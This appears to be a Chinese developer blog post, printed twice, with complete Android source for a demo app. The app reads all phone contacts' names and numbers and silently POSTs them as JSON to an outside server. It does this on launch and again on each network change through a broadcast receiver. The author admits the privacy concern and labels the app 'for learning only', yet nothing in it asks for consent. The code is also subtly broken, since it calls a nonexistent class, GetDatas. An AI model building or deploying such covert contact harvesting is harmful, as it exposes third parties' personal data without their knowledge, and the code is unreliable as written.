[小项目] 获取手机联系人并且向服务器发送JSON数据

[小项目] 获取手机联系人并且向服务器发送JSON数据

好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!


首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;

注:仅供学习使用,不要做违法的事情哟


这个程序我写的有点有条理,首先有几个工具类:

1. 判断是否联网的工具类(NetUtils)

2. 从手机中获取所有联系人的工具类(GetDatasUtils)

3. 往服务器上发送数据的工具类(SendDatasUtils)

4. 将Java实体类转换成JSON字符串


然后一个实体类,用于存储联系人姓名和电话(ContactInfor)


一个MainActivity

一个广播接收者(MyReceiver)

对了,还有一个xml...是没有用的..


由于分类很明确,并且我都写注释了,所以直接上代码

MainActivity

View Code
package
com.xdl.redwolf.mycontact; import android.app.Activity; import android.os.Bundle; /** * @作者 RedWolf */ public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了.. // 这个请求不会重复利用 So...匿名对象即可 SendDatasUtils.sendDatas(this); } }

ContactInfor

View Code
package
com.xdl.redwolf.mycontact; /** * @作者 RedWolf */ public class ContactInfor { String cName; String cPhone; public ContactInfor() { } public String getcName() { return cName; } public String getcPhone() { return cPhone; } public void setcName(String cName) { this.cName = cName; } public void setcPhone(String cPhone) { this.cPhone = cPhone; } @Override public String toString() { return "ContactInfor{" + "cName='" + cName + '\'' + ", cPhone='" + cPhone + '\'' + '}'; } }

GetDatasUtils

View Code
package com.xdl.redwolf.mycontact; import android.content.ContentResolver; import android.content.Context; import android.database.Cursor; import android.provider.ContactsContract; import java.util.ArrayList; /** * @作者 RedWolf */ public class GetDatasUtils { public static ArrayList getDatas(Context context) { ArrayList<ContactInfor> contactList = new ArrayList<>(); // 获取手机通讯录信息 ContentResolver resolver = context.getContentResolver(); // 获取联系人信息 Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); // 循环遍历,获取每个联系人的姓名和电话号码 while (personCur.moveToNext()) { // 新建联系人对象 ContactInfor cInfor = new ContactInfor(); // 联系人姓名 String cname = ""; // 联系人电话 String cnum = ""; // 联系人id号码  String ID; ID = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts._ID)); // 联系人姓名 cname = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); // id的整型数据 int id = Integer.parseInt(ID); if (id > 0) { // 获取指定id号码的电话号码 Cursor c = resolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + ID, null, null); // 遍历游标 while (c.moveToNext()) { cnum = c.getString(c .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); } // 将对象加入到集合中  cInfor.setcName(cname); cInfor.setcPhone(cnum); contactList.add(cInfor); } } // 最后 把整理出来的集合 返回出去 return contactList; } }

JSONUtils

package com.xdl.redwolf.mycontact;

import android.util.Log;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.util.ArrayList;

    /**
     *@作者 RedWolf
     * 由于json解析太麻烦 还是自己写一个比较好...
     */
public class JSONUtils {
/**
     * 将集合转换为JSON格式的数据。
     */
public static String getJSON(ArrayList<ContactInfor> cIList) {
    try {
        JSONArray array = new JSONArray();
        JSONObject object = new JSONObject();
        int length = cIList.size();
        for (int i = 0; i < length; i++) {
            ContactInfor mContact = cIList.get(i);
            String name = mContact.getcName();
            String phone = mContact.getcPhone();
//                把实体类中的数据拿出来 塞入Json对象中..
            JSONObject stoneObject = new JSONObject();
            stoneObject.put("name", name);
            stoneObject.put("phone", phone);
//                JSON加入JSon数组
            array.put(stoneObject);
        }
//            把整个Json数组 编程Json对象
        object.put("mContact", array);
//            最后返回数据
        return object.toString();
    } catch (JSONException e) {
        Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());
    }
    return null;
 }
}

 

MyReceiver

package com.xdl.redwolf.mycontact;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * @作者 RedWolf
 * <p/>
 * 咱就写一个广播接受者 反正是一个简单Demo 接收到
 */
public class MyReceiver extends BroadcastReceiver {
SendDatasUtils sdu;

//  由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.
public MyReceiver() {
}

@Override
public void onReceive(Context context, Intent intent) {
//        我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化
    boolean flag = NetUtils.isNet(context);
    Log.i("IsNet", flag + "");
    if (flag) {
//            如果联网了  那么就获取那个啥  并且请求  由于不加静态 所以工具类就变得四不像了..
//           因为这一块  可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用
        SendDatasUtils.sendDatas(context);
    }
}
}

 

NetUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;

/**
 * @作者 RedWolf
 * 用于判断是否联网
 */
public class NetUtils {

public static boolean isNet(Context context) {
    // 获取网络管理器
    if (context == null) {
        return false;
    }
    ConnectivityManager mConnectivityManager = (ConnectivityManager) context
            .getSystemService(Context.CONNECTIVITY_SERVICE);
    // 获取网络状态对象
    NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
    // 判断是否联网
    if (mNetworkInfo == null) {
        return false;
    }
    return mNetworkInfo.isConnected();
}

}

 

SendDatasUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.util.Log;

import com.android.volley.AuthFailureError;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;

import java.util.HashMap;
import java.util.Map;

/**
 * @作者 RedWolf
 */

public class SendDatasUtils {


public static void sendDatas(final Context context) {


//        用Vollery做网络请求..
        RequestQueue mQueue = Volley.newRequestQueue(context);
//        匿名子类的形式来重写getParams方法,
        StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",
                new Response.Listener<String>() {
                    //                    无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..
                    @Override
                    public void onResponse(String response) {
//                        TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.
                    Log.i("RedWolf", "请求成功----------------------");

                }
            },
            new Response.ErrorListener() {
                @Override
                public void onErrorResponse(VolleyError error) {
                    Log.e("RedWolf", "请求失败??" + error.getMessage(), error);
                }
            }) {
        //            重写getParams方法..就是为了添加一个Post参数..
        @Override
        protected Map<String, String> getParams() throws AuthFailureError {
            Map<String, String> map = new HashMap<>();
//                解析联系人集合并且塞入String中..
                String datas = JSONUtils.getJSON(GetDatas.getDatas(context));
                map.put("param", datas);
                Log.i("RedWolf", datas);
                return map;
            }
        };
//        这样 就发了请求...
        mQueue.add(stringRequest);
    }
}

最后还有一个清单文件OK

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.xdl.redwolf.mycontact">

    <!-- 读取联系人的权限 -->
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <!-- 开机启动 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <!-- 网络请求权限 -->
    <uses-permission android:name="android.permission.INTERNET" />
    <!-- 监听网络状态的权限-->
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver
            android:name=".MyReceiver"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <!-- 网络发生变化的广播-->
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
                <!--默认即可..-->
                <category android:name="android.intent.category.default" />

            </intent-filter>
        </receiver>
    </application>

</manifest>

 

## [小项目] 获取手机联系人并且向服务器发送JSON数据 ##

**好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!**

----------

**首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;**

**注:仅供学习使用,不要做违法的事情哟**

----------

**这个程序我写的有点有条理,首先有几个工具类:**

**1. 判断是否联网的工具类(NetUtils)**

**2. 从手机中获取所有联系人的工具类(GetDatasUtils)**

**3. 往服务器上发送数据的工具类(SendDatasUtils)**

**4. 将Java实体类转换成JSON字符串**

----------
**然后一个实体类,用于存储联系人姓名和电话(ContactInfor)**

----------
**一个MainActivity**

**一个广播接收者(MyReceiver)**


**对了,还有一个xml...是没有用的..**

----------

**由于分类很明确,并且我都写注释了,所以直接上代码**
## MainActivity ##
    package com.xdl.redwolf.mycontact;
    
    import android.app.Activity;
    import android.os.Bundle;
    
    /**
     * @作者 RedWolf
     */
    public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    //        调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了..
    //        这个请求不会重复利用 So...匿名对象即可
        SendDatasUtils.sendDatas(this);

    }
    }

## ContactInfor ##
    package com.xdl.redwolf.mycontact;
    
    /**
     * @作者 RedWolf
     */
    public class ContactInfor {
    String cName;
    String cPhone;

    public ContactInfor() {
    }

    public String getcName() {
        return cName;
    }

    public String getcPhone() {
        return cPhone;
    }


    public void setcName(String cName) {
        this.cName = cName;
    }

    public void setcPhone(String cPhone) {
        this.cPhone = cPhone;
    }

    @Override
    public String toString() {
        return "ContactInfor{" +
                "cName='" + cName + '\'' +
                ", cPhone='" + cPhone + '\'' +
                '}';
    }

}

## GetDatasUtils ##
    package com.xdl.redwolf.mycontact;

    import android.content.ContentResolver;
    import android.content.Context;
    import android.database.Cursor;
    import android.provider.ContactsContract;

    import java.util.ArrayList;

    /**
         * @作者 RedWolf
     */
    public class GetDatasUtils {


    public static ArrayList getDatas(Context context) {
        ArrayList<ContactInfor> contactList = new ArrayList<>();
        // 获取手机通讯录信息
        ContentResolver resolver = context.getContentResolver();
        // 获取联系人信息
        Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null,
                null, null, null);
        // 循环遍历,获取每个联系人的姓名和电话号码
        while (personCur.moveToNext()) {
            // 新建联系人对象
            ContactInfor cInfor = new ContactInfor();
            // 联系人姓名
            String cname = "";
            // 联系人电话
            String cnum = "";
            // 联系人id号码
            String ID;
            ID = personCur.getString(personCur
                    .getColumnIndex(ContactsContract.Contacts._ID));
            // 联系人姓名
            cname = personCur.getString(personCur
                    .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            // id的整型数据
            int id = Integer.parseInt(ID);
            if (id > 0) {
                // 获取指定id号码的电话号码
                Cursor c = resolver.query(
                        ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                        null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID
                                + "=" + ID, null, null);
                // 遍历游标
                while (c.moveToNext()) {
                    cnum = c.getString(c
                            .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                }
                // 将对象加入到集合中
                cInfor.setcName(cname);
                cInfor.setcPhone(cnum);
                contactList.add(cInfor);
            }
        }
    //        最后 把整理出来的集合 返回出去
        return contactList;
    }
    }

## JSONUtils ##
    package com.xdl.redwolf.mycontact;

    import android.util.Log;

    import org.json.JSONArray;
    import org.json.JSONException;
    import org.json.JSONObject;

    import java.util.ArrayList;

        /**
          *@作者 RedWolf
          * 由于json解析太麻烦 还是自己写一个比较好...
          */
    public class JSONUtils {
    /**
         * 将集合转换为JSON格式的数据。
         */
    public static String getJSON(ArrayList<ContactInfor> cIList) {
        try {
            JSONArray array = new JSONArray();
            JSONObject object = new JSONObject();
            int length = cIList.size();
            for (int i = 0; i < length; i++) {
                ContactInfor mContact = cIList.get(i);
                String name = mContact.getcName();
                String phone = mContact.getcPhone();
    //                把实体类中的数据拿出来 塞入Json对象中..
                JSONObject stoneObject = new JSONObject();
                stoneObject.put("name", name);
                stoneObject.put("phone", phone);
    //                JSON加入JSon数组
                array.put(stoneObject);
            }
    //            把整个Json数组 编程Json对象
            object.put("mContact", array);
    //            最后返回数据
            return object.toString();
        } catch (JSONException e) {
            Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());
        }
        return null;
        }
    }

## MyReceiver ##
    package com.xdl.redwolf.mycontact;

    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.util.Log;

    /**
     * @作者 RedWolf
     * <p/>
     * 咱就写一个广播接受者 反正是一个简单Demo 接收到
     */
    public class MyReceiver extends BroadcastReceiver {
    SendDatasUtils sdu;

    //  由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.
    public MyReceiver() {
    }

    @Override
    public void onReceive(Context context, Intent intent) {
    //        我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化
        boolean flag = NetUtils.isNet(context);
        Log.i("IsNet", flag + "");
        if (flag) {
    //            如果联网了  那么就获取那个啥  并且请求  由于不加静态 所以工具类就变得四不像了..
    //           因为这一块  可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用
            SendDatasUtils.sendDatas(context);
        }
    }
    }

## NetUtils ##

    package com.xdl.redwolf.mycontact;

    import android.content.Context;
    import android.net.ConnectivityManager;
    import android.net.NetworkInfo;

    /**
     * @作者 RedWolf
     * 用于判断是否联网
     */
    public class NetUtils {

    public static boolean isNet(Context context) {
        // 获取网络管理器
        if (context == null) {
            return false;
        }
        ConnectivityManager mConnectivityManager = (ConnectivityManager) context
                .getSystemService(Context.CONNECTIVITY_SERVICE);
        // 获取网络状态对象
        NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
        // 判断是否联网
        if (mNetworkInfo == null) {
            return false;
        }
        return mNetworkInfo.isConnected();
    }

    }

## SendDatasUtils ##
    package com.xdl.redwolf.mycontact;
    
    import android.content.Context;
    import android.util.Log;
    
    import com.android.volley.AuthFailureError;
    import com.android.volley.Request;
    import com.android.volley.RequestQueue;
    import com.android.volley.Response;
    import com.android.volley.VolleyError;
    import com.android.volley.toolbox.StringRequest;
    import com.android.volley.toolbox.Volley;
    
    import java.util.HashMap;
    import java.util.Map;
    
    /**
     * @作者 RedWolf
     */
    
    public class SendDatasUtils {


    public static void sendDatas(final Context context) {


    //        用Vollery做网络请求..
            RequestQueue mQueue = Volley.newRequestQueue(context);
    //        匿名子类的形式来重写getParams方法,
            StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",
                    new Response.Listener<String>() {
                        //                    无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..
                        @Override
                        public void onResponse(String response) {
    //                        TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.
                        Log.i("RedWolf", "请求成功----------------------");

                    }
                },
                new Response.ErrorListener() {
                    @Override
                    public void onErrorResponse(VolleyError error) {
                        Log.e("RedWolf", "请求失败??" + error.getMessage(), error);
                    }
                }) {
            //            重写getParams方法..就是为了添加一个Post参数..
            @Override
            protected Map<String, String> getParams() throws AuthFailureError {
                Map<String, String> map = new HashMap<>();
    //                解析联系人集合并且塞入String中..
                    String datas = JSONUtils.getJSON(GetDatas.getDatas(context));
                    map.put("param", datas);
                    Log.i("RedWolf", datas);
                    return map;
                }
            };
    //        这样 就发了请求...
            mQueue.add(stringRequest);
        }
    }

转载于:https://www.cnblogs.com/redwolf/p/5393719.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值